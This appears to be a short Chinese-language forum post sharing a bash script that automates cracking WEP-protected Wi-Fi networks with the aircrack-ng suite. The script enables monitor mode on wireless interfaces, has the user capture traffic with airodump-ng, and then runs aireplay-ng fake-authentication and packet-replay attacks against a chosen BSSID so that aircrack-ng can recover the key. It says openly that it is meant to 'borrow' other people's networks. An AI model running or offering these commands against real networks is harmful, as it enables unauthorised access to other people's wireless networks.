然后需要安装aircrack-ng的包
写的 不好也没啥技术含量 .. 大家看看就好
丢一张截图

#/bin/bash
#ifconfig | grep wlan0 | awk '{print $1}' | xargs sudo airmon-ng start
#ifconfig | grep ath0 | awk '{print $1}' | xargs sudo airmon-ng start
device=(eth1 wlan1 wlan0 ath0 ath1)
for item in ${device[*]}
do
sudo airmon-ng start $item
done
#echo -e "In one terminal run \n--------------------------\nsudo airodump-ng -c 6 -w wep mon0\n---------------------------\n"
#DIR=$(pwd)
#if [ -d "$DIR/store" ]
# then
# echo -e "Dir to store data ready"
# else
# echo -e "Dir to store does not exist , create now"
# mkdir $DIR/store
# fi
#x-terminal-emulator --command='sudo airodump-ng -c 6 -w wep mon0 & '
echo -e "This script is meant to borrow network .... Use it at your own risk\n"
echo -e "Before you start , launch another two terminal and cd to where you are now\n"
echo -e "Please follow the steps\n"
echo -e "Now take down the BSSID which you would like to attack\n"
echo -e "In one terminal run \n--------------------------\nsudo airodump-ng -c 6 -w wep mon0\n---------------------------\n"
echo -e "In the other terminal run \n------------------------------\naircrack-ng wep*.cap\n---------------------------------\n"
read -e -p "Enter the BSSID you have taken down:" BSSID
#sudo airodump-ng -c 6 --bssid $BSSID -w wep mon0
#MYID=$(ifconfig | grep wlan0 | awk '{print $5}')
for item in ${device[*]}
do
RAWID=$(ifconfig | grep $item | awk '{print $5}')
echo $RAWID | grep :
done > .id
sudo aireplay-ng -1 0 -a $BSSID -h $(cat < .id ) mon0
sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b $BSSID -h $(cat < .id) mon0
#remove=$(ifconfig | grep mon | awk '{print $1}')
#for ritem in $remove
# do
# sudo ifconfig $item down
# done